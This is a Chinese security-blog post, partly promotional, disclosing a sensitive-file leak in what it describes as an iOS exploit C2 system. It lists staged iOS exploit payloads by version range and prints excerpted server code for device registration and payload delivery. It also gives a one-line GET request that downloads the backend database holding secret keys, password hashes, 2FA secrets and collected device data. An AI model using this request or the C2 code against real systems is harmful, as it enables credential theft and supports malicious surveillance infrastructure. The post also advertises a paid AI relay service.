ARTICLE · 1082482
Coruna ios 漏洞C2系统存在前台敏感信息泄露漏洞

点击上方蓝字关注我们 并设为星标
0x00 前言
漏洞完全由 GPT-6-Astra 分析,无特殊提示词 Skill,同款AI见文末.

系统源码介绍 : Coruna 漏洞利用ios管理系统是面向移动端安全测试场景的端到端 C2 框架,涵盖设备管理、渠道分发、数据回传等能力,采用 Vue3 + FastAPI 开发.
📌 受影响版本明细
攻击阶段 | 覆盖版本 / 载荷 |
Stage1 初始利用 | iOS 15.2 – 15.5(jacurutu) |
Stage1 初始利用 | iOS 15.6 – 16.1.2(bluebird) |
Stage1 初始利用 | iOS 16.2 – 16.5.1(terrorbird) |
Stage1 初始利用 | iOS 16.6 – 17.2.1(cassowary) |
Stage2 稳定化 | iOS 13.0 – 14.x(breezy) |
Stage2 稳定化 | iOS 15.0 – 16.2(breezy15) |
Stage2 稳定化 | iOS 16.3 – 16.5.1(seedbell) |
Stage2 稳定化 | iOS 16.6 – 17.2.1(seedbell_pre / seedbell) |
Stage3 收尾 | VariantA / VariantB(全版本适用) |



✅ 该系统完整攻击链(Stage1→2→3):iOS 15.2 – 17.2.1;iOS 13.0 – 15.1.1 提供 Stage2 基础链,按设备版本自动分发载荷.
0x01 前台敏感信息泄露
完整调用链位于 /exploit_server.py 中的1680 - 1843 行代码,如下关联
do_GET()的静态资源分支会调用该函数;普通请求还会在后续兜底再次调用/ch/、/if/、/t/还会先去掉前缀,将含点号的剩余路径当作文件尝试读取- _STATIC_SKIP_EXT 只决定是否跳过设备注册,不是访问控制白名单。.py、.env、.db 即使不在其中,仍有后续分支可达
- 根目录确实有
darksword.db、exploit_server.py、admin/.env;配置代码读取其中的SECRET_KEY - FastAPI 管理端的 JWT 中间逻辑无法保护另一个独立 HTTP 进程。代码还会尝试额外监听 80 端口,成功与否取决于权限和占用情况
def do_GET(self) -> None:parsed = urlparse(self.path)self._parsed_path_cache = parsednorm_log = parsed.path.rstrip("/") or "/"self._current_norm_path = norm_logclient_ip = self.client_address[0] if self.client_address else "unknown"user_agent = self.headers.get("User-Agent", "")query_params = parse_qs(parsed.query) if parsed.query else {}if self._host_is_native_c2():self._dump_native_c2_request("GET", client_ip, user_agent, self.path, self.headers)# ⚡ 性能 + 数据纯净:静态资源请求跳过 _ensure_device_registered,# 避免加载 .js/.dylib/.bin 等 payload 文件时误生成"新设备"脏数据。report_result_e = Nonefor _rk in ("e", "result", "r"):if _rk in query_params and query_params[_rk]:try:report_result_e = int(query_params[_rk][0])except Exception:report_result_e = query_params[_rk][0]breakis_static = self._path_looks_static(norm_log) and report_result_e is Noneif norm_log == "/sdk/embed.js":self._serve_embed_js()returnif is_static:# 对于已知静态路径,先直接尝试 serve 静态文件,跳过注册设备rel = norm_log.lstrip("/")if rel:try:if self._try_serve_static_file(rel):returnexcept Exception:pass# 再走 /ch/xxx 风格的静态兜底if (norm_log.startswith("/ch/") or norm_log.startswith("/if/") or norm_log.startswith("/t/")):_parts = norm_log.split("/", 2)if len(_parts) >= 3 and _parts[2]:try:if self._try_serve_static_file(_parts[2]):returnexcept Exception:pass# 最后 404self.send_error(404, "Not Found")return# DEFENSE-IN-DEPTH: /ch/<slug> / /if/<slug> / /t/<slug>:# 先尝试去掉前缀后直接当项目静态文件 serve!# 这样即使 HTML 里用了相对路径(script src="platform_module.js"),# 浏览器解析成 /ch/platform_module.js 也能正确返回 JS,而不会被当成 channel slug。if (norm_log.startswith("/ch/") or norm_log.startswith("/if/") or norm_log.startswith("/t/")):_parts = norm_log.split("/", 2)if len(_parts) >= 3 and _parts[2]:_candidate_rel = _parts[2]if "." in _candidate_rel: # 只对 "看起来像文件名" 的尝试(含扩展名)try:if self._try_serve_static_file(_candidate_rel):returnexcept Exception:passif norm_log.startswith("/ch/") or norm_log.startswith("/if/") or norm_log.startswith("/t/"):parts = norm_log.split("/", 2)if len(parts) < 3:self._send_body(404, b"Missing slug")returnmode_prefix, slug = parts[1], parts[2]slug = unquote(slug.rstrip("/"))if not slug:self._send_body(404, b"Missing slug")returnchannel_id_hint, template_id_hint = None, Nonetpl_slug_raw = (query_params.get("tpl") or [None])[0] or Nonetpl_slug = unquote(tpl_slug_raw) if tpl_slug_raw else Nonech_obj = Nonetpl_obj = Nonehost_h = self.headers.get("Host")ref_h = self.headers.get("Referer")if mode_prefix == "ch" or mode_prefix == "if":ch_obj = _resolve_channel(slug)if ch_obj:channel_id_hint = getattr(ch_obj, "id", None)if getattr(ch_obj, "default_template_id", None) and not tpl_slug:template_id_hint = int(ch_obj.default_template_id)# ① Channel enabled + 域名白名单(必须先校验,不要注册设备 / 不要加访问量)if not getattr(ch_obj, "enabled", 1):self._log_request_info("GET", client_ip, self.path,user_agent=user_agent, channel_id=channel_id_hint,template_id=template_id_hint)self._send_body(403, b"Channel Disabled", channel_id=channel_id_hint, template_id=template_id_hint)returnok_domain, reason = _validate_channel_domain_restrictions(ch_obj, host_h, ref_h)if not ok_domain:log_msg = f"[SECURITY BLOCK] channel={slug}{reason}"print(f" {log_msg}")log_to_file(log_msg)save_log_to_db("security", client_ip, "GET", self.path,status_code=403, user_agent=user_agent,channel_id=channel_id_hint, template_id=template_id_hint)self._send_body(403,b"<!doctype html><html><head><meta charset='utf-8'><title>403 Forbidden</title></head>"b"<body style='font-family:-apple-system,Segoe UI,sans-serif;max-width:640px;margin:80px auto;padding:0 20px'>"b"<h1 style='color:#d9363e'>403 Forbidden</h1><p>This channel is only accessible from authorized hostnames.</p>"b"<pre style='background:#f5f5f5;padding:12px;border-radius:6px;word-break:break-all'>" +reason.encode("utf-8", errors="replace") +b"</pre></body></html>",channel_id=channel_id_hint, template_id=template_id_hint)returnif tpl_slug:tpl_obj = _resolve_template(tpl_slug)if tpl_obj:template_id_hint = getattr(tpl_obj, "id", None)# ② 安全校验全部通过 → 才正式注册设备 + 递增访问量dev_uuid, log_cid, log_tid = self._ensure_device_registered(query_params,channel_id_override=channel_id_hint,template_id_override=template_id_hint)self._log_request_info("GET", client_ip, self.path, user_agent=user_agent,device_uuid=dev_uuid, channel_id=log_cid, template_id=log_tid)# ③ CRITICAL FIX: 302 Redirect to /group.html (device_uuid in cookie is ds_uuid already)# Stage3_VariantB's MachOPayloadBuilder computes payload length based on# document.URL → long /ch/<slug>?tpl=...&device_uuid=... -> wrong length -> OOB.# Original URL format is /group.html (short path, no query) → correct offsets.redirect_to = "http://" + (self.headers.get("Host") or "127.0.0.1:7070") + "/group.html"self.send_response(302)self.send_header("Location", redirect_to)self._write_ds_ids(channel_id=log_cid, template_id=log_tid)self.end_headers()returnreport_result = Nonefor _rk in ("e", "result", "r"):if _rk in query_params and query_params[_rk]:try:report_result = int(query_params[_rk][0])except Exception:report_result = query_params[_rk][0]breakif report_result is not None and norm_log == "/":# 🔍 DIAGNOSTIC LOG: capture EVERY detail of the legacy report request# so we can debug why powerd dylib's /?e=0 sometimes fails to match device
Payload:
GET /ch/darksword.db HTTP/1.1Host: audit.invalid:7070User-Agent: Audit-Static-ReviewConnection: close
可以直接下载到 darksword.db,其中包含配置密钥、账号哈希、2FA 密钥、设备和采集数据等。若取得有效签名密钥及对应账号状态,可进一步伪造认证.

0x02 AI 漏洞挖掘
标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,交易所
本漏洞完全由星悦AI中转提供的GPT-6-Astra Max挖掘分析.
https://www.xyusec.com/

新用户还可以添加进群领5$额度

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!